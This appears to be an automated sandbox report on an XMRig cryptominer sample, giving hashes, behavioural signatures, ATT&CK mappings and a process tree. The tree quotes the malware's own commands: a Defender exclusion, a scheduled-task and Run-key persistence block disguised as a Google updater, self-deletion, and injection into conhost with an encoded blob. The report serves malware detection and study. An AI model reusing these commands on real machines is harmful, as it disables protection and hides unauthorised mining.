xmrig | 118a83cef7804742f9bc8f11c9deea34b84c35d65edca3036667edbd02dc7df8

max time kernel
1797s
max time network
1802s
platform
windows7_x64
resource
win7-20230712-en
resource tags

arch:x64arch:x86image:win7-20230712-enlocale:en-usos:windows7-x64system
submitted
20/08/2023, 00:18

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General

Target

qM5GMXBk6hJE6Y5e(17).exe
Size

2.0MB
MD5

a16a669a09bf158058b83e04e69fe38e
SHA1

f6c94763850d9e590d86057139e8895a7aacdeea
SHA256

cacc0261ccf7578ef5c1f9fdbe35705ad91070d020a4225e05cbf71a6103ac8e
SHA512

658b52ad1d27becee5b5bbd443d43da38b88d49880e72c8cb843f176a2d84d571b39c34dbc7cfb7ea56acc548acc5b68cce47a8bcf9d173feec031f7e33a09c6
SSDEEP

49152:rWVipAxqo5p88CbXuxWQiSJU320ZW21Q0YWAij64ane6szjmL/45:rxAEcp9ueXit9WAQ0YWuO

Score

10^/10

xmrig miner upx

Malware Config

Signatures

Suspicious use of NtCreateUserProcessOtherParentProcess 10 IoCs

description	pid	Process	procid_target
PID 2332 created 1256	2332	qM5GMXBk6hJE6Y5e(17).exe	17
PID 2332 created 1256	2332	qM5GMXBk6hJE6Y5e(17).exe	17
PID 2332 created 1256	2332	qM5GMXBk6hJE6Y5e(17).exe	17
PID 2332 created 1256	2332	qM5GMXBk6hJE6Y5e(17).exe	17
PID 1488 created 1256	1488	updater.exe	17
PID 1488 created 1256	1488	updater.exe	17
PID 1488 created 1256	1488	updater.exe	17
PID 1488 created 1256	1488	updater.exe	17
PID 1392 created 1256	1392	conhost.exe	17
PID 1488 created 1256	1488	updater.exe	17

xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig

XMRig Miner payload 29 IoCs

miner

resource	yara_rule
behavioral19/memory/1772-125-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral19/memory/1772-128-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral19/memory/1772-131-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral19/memory/1772-133-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral19/memory/1772-135-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral19/memory/1772-137-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral19/memory/1772-139-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral19/memory/1772-141-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral19/memory/1772-143-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral19/memory/1772-145-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral19/memory/1772-147-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral19/memory/1772-149-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral19/memory/1772-151-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral19/memory/1772-153-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral19/memory/1772-155-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral19/memory/1772-157-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral19/memory/1772-159-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral19/memory/1772-161-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral19/memory/1772-163-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral19/memory/1772-165-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral19/memory/1772-167-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral19/memory/1772-169-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral19/memory/1772-176-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral19/memory/1772-178-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral19/memory/1772-180-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral19/memory/1772-182-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral19/memory/1772-184-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral19/memory/1772-186-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral19/memory/1772-188-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig

Deletes itself 1 IoCs

pid	Process
2916	cmd.exe

Executes dropped EXE 1 IoCs

pid	Process
1488	updater.exe

Loads dropped DLL 1 IoCs

pid	Process
780	taskeng.exe

UPX packed file 30 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral19/memory/1772-120-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral19/memory/1772-125-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral19/memory/1772-128-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral19/memory/1772-131-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral19/memory/1772-133-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral19/memory/1772-135-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral19/memory/1772-137-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral19/memory/1772-139-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral19/memory/1772-141-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral19/memory/1772-143-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral19/memory/1772-145-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral19/memory/1772-147-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral19/memory/1772-149-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral19/memory/1772-151-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral19/memory/1772-153-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral19/memory/1772-155-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral19/memory/1772-157-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral19/memory/1772-159-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral19/memory/1772-161-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral19/memory/1772-163-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral19/memory/1772-165-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral19/memory/1772-167-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral19/memory/1772-169-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral19/memory/1772-176-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral19/memory/1772-178-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral19/memory/1772-180-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral19/memory/1772-182-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral19/memory/1772-184-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral19/memory/1772-186-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral19/memory/1772-188-0x0000000140000000-0x00000001407F4000-memory.dmp	upx

Drops file in System32 directory 5 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe

Suspicious use of SetThreadContext 2 IoCs

description	pid	Process	procid_target
PID 1488 set thread context of 1392	1488	updater.exe	48
PID 1488 set thread context of 1772	1488	updater.exe	55

Drops file in Program Files directory 4 IoCs

description	ioc	Process
File created	C:\Program Files\Google\Chrome\updater.exe	qM5GMXBk6hJE6Y5e(17).exe
File created	C:\Program Files\Google\Libs\WR64.sys	updater.exe
File created	C:\Program Files\Google\Libs\g.log	cmd.exe
File created	C:\Program Files\Google\Libs\g.log	cmd.exe

Creates scheduled task(s) 1 TTPs 2 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task/Job

T1053

pid	Process
1624	schtasks.exe
2900	schtasks.exe

Detects videocard installed 1 TTPs 1 IoCs

Uses WMIC.exe to determine videocard installed.

System Information Discovery

T1082

pid	Process
3000	WMIC.exe

Modifies data under HKEY_USERS 3 IoCs

description	ioc	Process
Set value (data)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage\StartMenu_Start_Time = c092732b05d3d901	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	WMIC.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage	powershell.exe

Suspicious behavior: EnumeratesProcesses 25 IoCs

pid	Process
2332	qM5GMXBk6hJE6Y5e(17).exe
2332	qM5GMXBk6hJE6Y5e(17).exe
2612	powershell.exe
2332	qM5GMXBk6hJE6Y5e(17).exe
2332	qM5GMXBk6hJE6Y5e(17).exe
2052	powershell.exe
2332	qM5GMXBk6hJE6Y5e(17).exe
2332	qM5GMXBk6hJE6Y5e(17).exe
2332	qM5GMXBk6hJE6Y5e(17).exe
2332	qM5GMXBk6hJE6Y5e(17).exe
2836	powershell.exe
1488	updater.exe
1488	updater.exe
2144	powershell.exe
1488	updater.exe
1488	updater.exe
2168	powershell.exe
1488	updater.exe
1488	updater.exe
1488	updater.exe
1488	updater.exe
1392	conhost.exe
1392	conhost.exe
1488	updater.exe
1488	updater.exe

Suspicious behavior: LoadsDriver 1 IoCs

pid	Process
464	Process not Found

Suspicious use of AdjustPrivilegeToken 31 IoCs

description	pid	Process
Token: SeDebugPrivilege	2612	powershell.exe
Token: SeDebugPrivilege	2052	powershell.exe
Token: SeDebugPrivilege	2836	powershell.exe
Token: SeDebugPrivilege	2144	powershell.exe
Token: SeDebugPrivilege	2168	powershell.exe
Token: SeDebugPrivilege	1488	updater.exe
Token: SeAssignPrimaryTokenPrivilege	3000	WMIC.exe
Token: SeIncreaseQuotaPrivilege	3000	WMIC.exe
Token: SeSecurityPrivilege	3000	WMIC.exe
Token: SeTakeOwnershipPrivilege	3000	WMIC.exe
Token: SeLoadDriverPrivilege	3000	WMIC.exe
Token: SeSystemtimePrivilege	3000	WMIC.exe
Token: SeBackupPrivilege	3000	WMIC.exe
Token: SeRestorePrivilege	3000	WMIC.exe
Token: SeShutdownPrivilege	3000	WMIC.exe
Token: SeSystemEnvironmentPrivilege	3000	WMIC.exe
Token: SeUndockPrivilege	3000	WMIC.exe
Token: SeManageVolumePrivilege	3000	WMIC.exe
Token: SeAssignPrimaryTokenPrivilege	3000	WMIC.exe
Token: SeIncreaseQuotaPrivilege	3000	WMIC.exe
Token: SeSecurityPrivilege	3000	WMIC.exe
Token: SeTakeOwnershipPrivilege	3000	WMIC.exe
Token: SeLoadDriverPrivilege	3000	WMIC.exe
Token: SeSystemtimePrivilege	3000	WMIC.exe
Token: SeBackupPrivilege	3000	WMIC.exe
Token: SeRestorePrivilege	3000	WMIC.exe
Token: SeShutdownPrivilege	3000	WMIC.exe
Token: SeSystemEnvironmentPrivilege	3000	WMIC.exe
Token: SeUndockPrivilege	3000	WMIC.exe
Token: SeManageVolumePrivilege	3000	WMIC.exe
Token: SeLockMemoryPrivilege	1772	conhost.exe

Suspicious use of WriteProcessMemory 20 IoCs

description	pid	Process	procid_target
PID 2052 wrote to memory of 1624	2052	powershell.exe	34
PID 2052 wrote to memory of 1624	2052	powershell.exe	34
PID 2052 wrote to memory of 1624	2052	powershell.exe	34
PID 2916 wrote to memory of 2416	2916	cmd.exe	39
PID 2916 wrote to memory of 2416	2916	cmd.exe	39
PID 2916 wrote to memory of 2416	2916	cmd.exe	39
PID 2836 wrote to memory of 516	2836	powershell.exe	40
PID 2836 wrote to memory of 516	2836	powershell.exe	40
PID 2836 wrote to memory of 516	2836	powershell.exe	40
PID 780 wrote to memory of 1488	780	taskeng.exe	42
PID 780 wrote to memory of 1488	780	taskeng.exe	42
PID 780 wrote to memory of 1488	780	taskeng.exe	42
PID 2168 wrote to memory of 2900	2168	powershell.exe	47
PID 2168 wrote to memory of 2900	2168	powershell.exe	47
PID 2168 wrote to memory of 2900	2168	powershell.exe	47
PID 1488 wrote to memory of 1392	1488	updater.exe	48
PID 860 wrote to memory of 3000	860	cmd.exe	53
PID 860 wrote to memory of 3000	860	cmd.exe	53
PID 860 wrote to memory of 3000	860	cmd.exe	53
PID 1488 wrote to memory of 1772	1488	updater.exe	55

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
PID:1256
- C:\Users\Admin\AppData\Local\Temp\qM5GMXBk6hJE6Y5e(17).exe
  "C:\Users\Admin\AppData\Local\Temp\qM5GMXBk6hJE6Y5e(17).exe"
  2⤵
  - Suspicious use of NtCreateUserProcessOtherParentProcess
  - Drops file in Program Files directory
  - Suspicious behavior: EnumeratesProcesses
  PID:2332
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
  2⤵
  - Drops file in System32 directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2612
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }
  2⤵
  - Drops file in System32 directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2052
- - C:\Windows\system32\schtasks.exe
    "C:\Windows\system32\schtasks.exe" /create /f /sc onlogon /rl highest /ru System /tn GoogleUpdateTaskMachineQC /tr "'C:\Program Files\Google\Chrome\updater.exe'"
    3⤵
    - Creates scheduled task(s)
    PID:1624
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#glbtb#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { schtasks /run /tn "GoogleUpdateTaskMachineQC" } Else { "C:\Program Files\Google\Chrome\updater.exe" }
  2⤵
  - Drops file in System32 directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2836
- - C:\Windows\system32\schtasks.exe
    "C:\Windows\system32\schtasks.exe" /run /tn GoogleUpdateTaskMachineQC
    3⤵
    PID:516
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\qM5GMXBk6hJE6Y5e(17).exe"
  2⤵
  - Deletes itself
  - Suspicious use of WriteProcessMemory
  PID:2916
- - C:\Windows\System32\choice.exe
    choice /C Y /N /D Y /T 3
    3⤵
    PID:2416
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
  2⤵
  - Drops file in System32 directory
  - Modifies data under HKEY_USERS
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2144
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }
  2⤵
  - Drops file in System32 directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2168
- - C:\Windows\system32\schtasks.exe
    "C:\Windows\system32\schtasks.exe" /create /f /sc onlogon /rl highest /ru System /tn GoogleUpdateTaskMachineQC /tr "'C:\Program Files\Google\Chrome\updater.exe'"
    3⤵
    - Creates scheduled task(s)
    PID:2900
- C:\Windows\System32\conhost.exe
  C:\Windows\System32\conhost.exe qtdiqnkejoz
  2⤵
  - Suspicious use of NtCreateUserProcessOtherParentProcess
  - Suspicious behavior: EnumeratesProcesses
  PID:1392
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"
  2⤵
  - Drops file in Program Files directory
  - Suspicious use of WriteProcessMemory
  PID:860
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic PATH Win32_VideoController GET Name, VideoProcessor
    3⤵
    - Detects videocard installed
    - Modifies data under HKEY_USERS
    - Suspicious use of AdjustPrivilegeToken
    PID:3000
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"
  2⤵
  - Drops file in Program Files directory
  PID:2772
- C:\Windows\System32\conhost.exe
  C:\Windows\System32\conhost.exe coygkprqxpklmnvz 6E3sjfZq2rJQaxvLPmXgsF7vH8nKLC0ur3jCwye3fPooFst8AJlNjZc1TvSyIQTKz3bkbADxizSwgp6IHJKg4enmph7iNmIeAYcJJRGkawcinVbrMdr45fHmW9ZqCrw3dSLKVMKzrI2u4sgGlTj0G1RmIYUpqYq+tIjGyNap0si+Bl1xh/1o3aGmtmdST7PlUgkYz6ci8qWCk/Icfx3DrSi2oQaBV3Dr68Ysn/4ifK09AI9K4Wz/J2kKABX44SMSz/klz2Q+FtxUOLuLpB0ApMJVvTxUIOnUHLATPgLq86uJLXtnMRoz90CklrR3X6ggj+Qodet1aWyPnFIog0clkH9Lt1wIn/XNs6NZ/3bJg2NyJ2xuvDRy+oOBgUebKWiz
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:1772

C:\Windows\system32\taskeng.exe
taskeng.exe {43A8A48A-A488-4E44-80C1-9A6EB1C54E1D} S-1-5-18:NT AUTHORITY\System:Service:
1⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:780
- C:\Program Files\Google\Chrome\updater.exe
  "C:\Program Files\Google\Chrome\updater.exe"
  2⤵
  - Suspicious use of NtCreateUserProcessOtherParentProcess
  - Executes dropped EXE
  - Suspicious use of SetThreadContext
  - Drops file in Program Files directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:1488

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Persistence

Scheduled Task/Job

T1053

Privilege Escalation

Scheduled Task/Job

T1053

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Program Files\Google\Chrome\updater.exe

Filesize
2.0MB

MD5
a16a669a09bf158058b83e04e69fe38e

SHA1
f6c94763850d9e590d86057139e8895a7aacdeea

SHA256
cacc0261ccf7578ef5c1f9fdbe35705ad91070d020a4225e05cbf71a6103ac8e

SHA512
658b52ad1d27becee5b5bbd443d43da38b88d49880e72c8cb843f176a2d84d571b39c34dbc7cfb7ea56acc548acc5b68cce47a8bcf9d173feec031f7e33a09c6

Download Submit
C:\Program Files\Google\Chrome\updater.exe

Filesize
2.0MB

MD5
a16a669a09bf158058b83e04e69fe38e

SHA1
f6c94763850d9e590d86057139e8895a7aacdeea

SHA256
cacc0261ccf7578ef5c1f9fdbe35705ad91070d020a4225e05cbf71a6103ac8e

SHA512
658b52ad1d27becee5b5bbd443d43da38b88d49880e72c8cb843f176a2d84d571b39c34dbc7cfb7ea56acc548acc5b68cce47a8bcf9d173feec031f7e33a09c6

Download Submit
C:\Program Files\Google\Libs\g.log

Filesize
198B

MD5
37dd19b2be4fa7635ad6a2f3238c4af1

SHA1
e5b2c034636b434faee84e82e3bce3a3d3561943

SHA256
8066872eea036f3ff59d58ff82ea1d5a8248ebc3c2b6161a17fe5c48441edc07

SHA512
86e8550412f282e18ef0c6417ee94e9c141433913452efffb738d92f040e20ecc5e2250e9e2ac1f94c248eab83a601cba5b006e982a4aefe9dcb88e9c53c67e5

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

Filesize
7KB

MD5
3a40f6dac65096a209a6da8830b9ecac

SHA1
f90acc47916ad8073c107baecb3284d748d034da

SHA256
fce478fea2189270de0c2d0c5ca4d53093d895a2314cbfa2f6ebb418672fdee2

SHA512
d4e80becbd6aed4ebc7e959e87772596d324dfdbeb271b377a3e58802b41571a3a20340f17701eed5f853b961118f68ec56baa6ad9a539ebe2e84f8b36f6b0ae

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

Filesize
7KB

MD5
3a40f6dac65096a209a6da8830b9ecac

SHA1
f90acc47916ad8073c107baecb3284d748d034da

SHA256
fce478fea2189270de0c2d0c5ca4d53093d895a2314cbfa2f6ebb418672fdee2

SHA512
d4e80becbd6aed4ebc7e959e87772596d324dfdbeb271b377a3e58802b41571a3a20340f17701eed5f853b961118f68ec56baa6ad9a539ebe2e84f8b36f6b0ae

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\MCQE3DLVWVH31W63K4VV.temp

Filesize
7KB

MD5
3a40f6dac65096a209a6da8830b9ecac

SHA1
f90acc47916ad8073c107baecb3284d748d034da

SHA256
fce478fea2189270de0c2d0c5ca4d53093d895a2314cbfa2f6ebb418672fdee2

SHA512
d4e80becbd6aed4ebc7e959e87772596d324dfdbeb271b377a3e58802b41571a3a20340f17701eed5f853b961118f68ec56baa6ad9a539ebe2e84f8b36f6b0ae

Download Submit
\Program Files\Google\Chrome\updater.exe

Filesize
2.0MB

MD5
a16a669a09bf158058b83e04e69fe38e

SHA1
f6c94763850d9e590d86057139e8895a7aacdeea

SHA256
cacc0261ccf7578ef5c1f9fdbe35705ad91070d020a4225e05cbf71a6103ac8e

SHA512
658b52ad1d27becee5b5bbd443d43da38b88d49880e72c8cb843f176a2d84d571b39c34dbc7cfb7ea56acc548acc5b68cce47a8bcf9d173feec031f7e33a09c6

Download Submit
memory/1392-126-0x0000000140000000-0x0000000140016000-memory.dmp

Filesize
88KB

Download
memory/1392-132-0x0000000140000000-0x0000000140016000-memory.dmp

Filesize
88KB

Download
memory/1488-100-0x000000013FA40000-0x000000013FC51000-memory.dmp

Filesize
2.1MB

Download
memory/1488-116-0x000000013FA40000-0x000000013FC51000-memory.dmp

Filesize
2.1MB

Download
memory/1488-122-0x000000013FA40000-0x000000013FC51000-memory.dmp

Filesize
2.1MB

Download
memory/1772-141-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1772-184-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1772-135-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1772-133-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1772-188-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1772-131-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1772-129-0x0000000000CD0000-0x0000000000CF0000-memory.dmp

Filesize
128KB

Download
memory/1772-165-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1772-128-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1772-163-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1772-127-0x0000000000CB0000-0x0000000000CD0000-memory.dmp

Filesize
128KB

Download
memory/1772-186-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1772-161-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1772-159-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1772-157-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1772-155-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1772-153-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1772-151-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1772-167-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1772-169-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1772-176-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1772-125-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1772-124-0x0000000000CD0000-0x0000000000CF0000-memory.dmp

Filesize
128KB

Download
memory/1772-123-0x0000000000CB0000-0x0000000000CD0000-memory.dmp

Filesize
128KB

Download
memory/1772-120-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1772-121-0x00000000001F0000-0x0000000000210000-memory.dmp

Filesize
128KB

Download
memory/1772-182-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1772-149-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1772-147-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1772-145-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1772-143-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1772-137-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1772-139-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1772-178-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1772-180-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2052-82-0x000007FEF5340000-0x000007FEF5CDD000-memory.dmp

Filesize
9.6MB

Download
memory/2052-75-0x0000000002730000-0x00000000027B0000-memory.dmp

Filesize
512KB

Download
memory/2052-76-0x00000000024B0000-0x00000000024B8000-memory.dmp

Filesize
32KB

Download
memory/2052-77-0x000007FEF5340000-0x000007FEF5CDD000-memory.dmp

Filesize
9.6MB

Download
memory/2052-78-0x0000000002730000-0x00000000027B0000-memory.dmp

Filesize
512KB

Download
memory/2052-79-0x0000000002730000-0x00000000027B0000-memory.dmp

Filesize
512KB

Download
memory/2052-80-0x0000000002730000-0x00000000027B0000-memory.dmp

Filesize
512KB

Download
memory/2052-74-0x000000001B150000-0x000000001B432000-memory.dmp

Filesize
2.9MB

Download
memory/2052-73-0x000007FEF5340000-0x000007FEF5CDD000-memory.dmp

Filesize
9.6MB

Download
